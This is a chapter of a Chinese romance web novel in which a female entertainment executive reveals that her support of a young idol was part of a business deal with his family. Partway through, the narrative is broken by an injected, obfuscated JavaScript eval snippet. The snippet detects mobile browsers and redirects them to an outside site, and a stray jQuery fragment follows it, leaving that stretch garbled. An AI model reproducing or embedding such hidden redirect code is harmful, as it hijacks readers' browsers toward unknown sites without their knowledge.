61. 第 61 章

作品:《她,霸总,娱乐圈黑月光

    他们此刻离得那么近,冉凌天甚至能看清芮槐宁长长的睫毛和它们在灯光下投射的阴影。


    “其实我有想过我会不会在你的节目里拿到第一名,”他说,“但是单曲也好C位也好我都没有那么在意,如果可以的话,我更想要一些别的奖励。”


    这是他们之间靠得最近的一次,冉凌天略略低下头,又忍不住用左手轻轻握住了芮槐宁的胳膊,而芮槐宁现在已经是在贴墙站着了。


    她的视线先是落到了自己的右臂上,那里有他的手掌隔着衣料传来的体温,滚烫得像一团燃烧的火苗,让她很有些想躲。


    但很快她一抬眼又看到了他的眼睛,深棕色的瞳仁里明晃晃地映着自己的身影,像是有一个小小的漩涡吸引住了她,让她一时间忘了自己要做什么。


    “如果你不说话……”冉凌天的声音轻柔而低沉,她甚至感觉自己闻到了一股淡淡的薄荷漱口水的味道。


    “……我就当你同意了。”他说着便低下头来,芮槐宁心头警铃大作,正闭上眼睛要躲就听到不远处传来一个女声:


    “芮总就是这么照顾我弟弟的吗?”


    冉凌天停了动作望向来人,而芮槐宁趁机拉开了一步的距离。


    “姐?”


    来的正是冉凌天的亲姐姐安云,她个子不高,身形瘦小,留着齐耳的短发,穿着一身设计简约、剪裁别致的黑色西装,脚下踩着一双同色的高跟鞋,十足一副商界精英打扮。


    冉凌天此时还有点懵:“你怎么来现场了?”


    安云瞪了他一眼:“我怎么不能来?我要是不来的话还看不到你们这么精彩的一幕呢,这不比前头宣布排名刺激多了?”


    感觉事情变得奇怪起来了……


    但芮槐宁还没来得及开口呢,冉凌天已经先她一步挡在了她跟安云中间:“姐你别这么说,我是真的喜……”


    “真的什么?”安云径直出声打断,像是故意不让他说完这句话,紧接着又去看他身后的芮槐宁,“我该说我们家对你的信任都喂了狗吗?”


    安云本来也不想把话说得这么难听,今天她来一趟也是难得抽空,等到了名次公布以后去后台找弟弟原也是为了第一时间祝贺他。


    但她绕了好大一个圈好不容易在这么偏僻的走廊里把人找到却撞见了这种画面,一时间怎么能不气血上涌?


    但这回冉凌天终于皱起了眉头:“姐,槐宁对我挺好的,我不希望你这么说她。”


    安云简直要气笑了:“她对你好?她当然会对你好,你不问问她和我们家做了什么交易吗?她怎么敢不对你好?”


    她一连串的质问像是一道惊雷炸开在冉凌天耳边,他缓慢地看向了自己的亲姐姐,然后提着一口气问道:“什么意思?”


    话是对着安云说的,但刚才一直没出声的芮槐宁此时却开口了:“字面意思,我和晖越投资集团之间有一些商业往来……”


    “别说得那么冠冕堂皇的!”安云横眉竖目地看向她,


    “我就知道小天进娱乐圈肯定会被当成唐僧肉,但我没想到你会这么不要脸,明明答应了我们要让他远离圈子里这些乱七八糟的男女关系,转头却自己投怀送抱了!”


    芮槐宁挑了挑眉,这是她非常讨厌的一种说法,这位安大小姐踩到她的雷区了。


    冉凌天此时的表情夹杂着生气和难过,他完全不明白安云怎么能讲出这样的话来:“姐你能别说了吗?槐宁没有投怀送抱,是我……”


    安云似乎生怕从他嘴里听到什么不想听的内容,于是再次出言打断:“她比你大那么多,要不是她主动你能看得上她?”


    如果说安云之前的愤怒值是90%,那么在被自家亲弟弟反驳了两次以后已经突破了120%,她现在甚至有些口不择言了,哪怕一说出来就有点后悔,她还是梗着脖子没有后退。


    冉凌天还要反驳,但芮槐宁已经比他更快地走到了安云跟前,她在这个世界里最艰难的时候也不会容许有人这样在自己的雷点上蹦迪,更何况是现在。


    她的语气很平静,但声音却带着寒意:“安女士,我敬你是个实业家一直客客气气的,但也请你不要给脸不要脸……”


    安云又要出声,芮槐宁冷冷地抬眼望过去:


    “听人把话说完是最基本的礼貌,你是有什么打断别人的KPI要完成吗?泼皮骂街谁都会,但看在大家都是文明人的份上我不想说更过分的话所以麻烦你也收敛点脾气。”


    不知道是她的眼神太有压迫性还是她的言语过于强势,总之安云暂时闭上了嘴,算是默认给了她把话说完的权利。


    “大家耐心都有限我们就长话短说。”


    芮槐宁看向冉凌天,“首先,我和你们父亲的晖越投资集团之间确实有过一个对赌协议,晖越对其羽进行注资,条件是其羽三年内的净利润必须达到约定的目标,如果完不成,那么我就得对晖越持有的那部分股份进行回购。”


    不过找人投资只是权宜之计,芮槐宁其实更偏向于自己百分百持股,所以在公司完成对赌并彻底解决了资金问题之后,她毫不犹豫地选择了回购晖越手上的所有股份。


    “在对赌成功后我还是决定回购股份,但你们的父母提出了建议,如果我答应将冉凌天签进其羽并好好培养他,那么就免除那次股份回购中相应的利息。”


    安云张了张口像是有话要说,芮槐宁瞥了她一眼:


    “我知道你想说什么,‘好好培养’是一个定性的说法,它在协议中当然已经被量化了,而不管是冉凌天的活跃粉丝数量也好,通告身价也罢,这三年下来方方面面的目标早都已经超额达成。”


    不知道从什么时候开始冉凌天已经完全僵在了原地,“协议”、“股份”、“利息”、“量化”……这些字眼仿佛出自他的经济学教授之口,没有感情全是利益。


    走廊上一时间安静了下来,而在这样令人有些窒息的沉默里冉凌天终于找回了自己的声线:


    “所以你向我倾斜的资源,我不用努力不用争取就能获得的曝光和有求必应到连粉丝都没话说的运营……”


    那些所有被在意,被偏爱,被放在心上认真对待的证据,都是假的吗?


    芮槐宁侧过身看向他,眼中有一瞬的不忍,但最终她还是叹了一口气:“协议里的时间窗口很短,我必须在三年内就让你在圈子里达到一个像样的高度。”


    冉凌天听罢点了一下头什么也没说,芮槐宁只当他是听懂了,于是将视线从他身上移开,专心面对安云去了。


    但其实冉凌天脑袋里的文字解析功能早已掉线,芮槐宁说出口的每一个字他都听到了,可理解起来就是很费劲。


    此时此刻他记忆里的很多画面却自动跳了出来,一会儿是槐宁陪他参加的每一次元旦、春晚、中秋晚会的录制,一会儿是槐宁笑着对他说已经根据他的假期时间给他预定了一个特别好的综艺,一会儿是槐宁很笃定地拍着他的肩膀保证留给他的音乐制作人一定是最好的……


    甚至到最后他还想起了不久前的跨年夜,李铭祁把刀架在自己脖子上声嘶力竭地吼出了那句:“她凭什么对你这么好啊?”


    是啊,她凭什么对他这么好呢?


    曾经他在粉丝数才五万的时候就说要开巡演,理由是别家粉丝有的我们也要有,这样任性到亏本的提议芮槐宁却同意了。


    他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16471367|176754||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    总觉得专辑比起赚钱被更多的人听到更重要,所以最后决定自己的作品通通免费不要钱,这样一来一张专辑全是成本没有进项,芮槐宁也同意了。


    后来某个谈到八九不离十的综艺里意外加入了他不耐烦打交道的人,他和芮槐宁说不想去了,她居然还是同意了。


    她究竟为什么对自己这么好?冉凌天从管理学的角度也从没想通过这个问题,所以越细想越自作多情,越往后越自以为是,最后终于越发觉得她对自己的好也许是因为……


    所以他才有勇气一遍又一遍地对她说那些话,所以才会一想到他们是两心相知就会觉得既甜蜜又幸运,所以才会觉得慢慢来也没关系总会有水到渠成的那一天。


    他曾经单方面把这一切定义为爱,如今却只说这是利益交换下的关照与爱无尤,都走到这一步了能平静接受才有鬼,但想争辩一句什么或反驳些什么却又说不出话来。


    他全部的底气好像都在芮槐宁刚才的寥寥数语里散尽了,现在他颇有一种忙忙碌碌建了一栋摩天大楼,即将封顶的时候却发现这栋楼原来根本没地基的感觉。


    他只能眼睁睁地看着大厦倾塌成废墟,烟尘四起模糊了视线,让他再也看不清记忆里的那个人了。


    可惜冉凌天的所思所想芮槐宁一概不知,她的火才发了一半,此刻正直视着安云的眼睛打算把另一半也发完:


    “至于协议中另一条不让他谈恋爱,我想我也已经做到了,其他女艺人我看你们也不怎么担心,至于我本人,我可以保证不管是现在还是将来,我都没有也不会跟冉凌天谈恋爱。这样你满意了吗?”


    安云确实没有想到芮槐宁会这么说,她一直以为娱乐圈这种地方的人会抓住一切机会攀上自己的弟弟,毕竟这是安家,是背后的安越集团和晖越投资集团两大巨头公司,是普通人乃至中低层富人阶级一步登天的捷径。


    但更让她难受的是她看到了冉凌天的表情,在芮槐宁说出那句“不管是现在还是将来,我都没有也不会跟冉凌天谈恋爱”的时候,她的弟弟像是被一把尖刀捅穿了心脏,连呼吸都好像要停止了。


    安云头一次觉得有些后悔,明明她说这些只是为了阻止冉凌天吃亏,但现在看来,她好像把事情搞砸了。


    “还有,”芮槐宁的声音将安云的注意力又拉了回来,


    “我想安女士可能不太注意得到自己有意无意自带的优越感和一种高高在上的施舍意味,所以为了避免误会我们还是应该说清楚。


    “无论是之前的对赌协议还是之后的合约本质上都是我们双方之间的商业行为,你们并没有吃亏,甚至我换一家公司合作没准还能赚得更多,所以请别话里话外都搞得好像是你们特别看得起我才肯赏给我这单生意一样。


    “如果这背后的商业逻辑难住了你使你不大理解,你可以回去问问令尊和令堂,就我和他们接触下来的情况而言,他们的脑子确实比你清醒。”


    安云从小到大很少被人这么一口气不带歇地狂骂,虽然芮槐宁每一句话都在讲道理,但给她的感觉就像是被一巴掌抽在了脸上,比不入流的泼皮叫骂更让人难受。


    而站在她对面的芮槐宁依然脸不红心不跳,表情和语调同刚才相比甚至都没有什么大的变化,她仿佛仅仅只是想把自己要说的话说完而已:


    “我自认为对贵司也好,对合约内容也罢都已经算得上是仁至义尽,我不知道安女士哪来的底气这么指着我的鼻子骂,但不好意思,我也不是什么没脾气的大善人,合作都讲究一个相互尊重,既然做不到那就大路朝天各走一边。


    “如今三年期满,我正好也厌烦了这个协议不想续签了,你们另请高明吧。”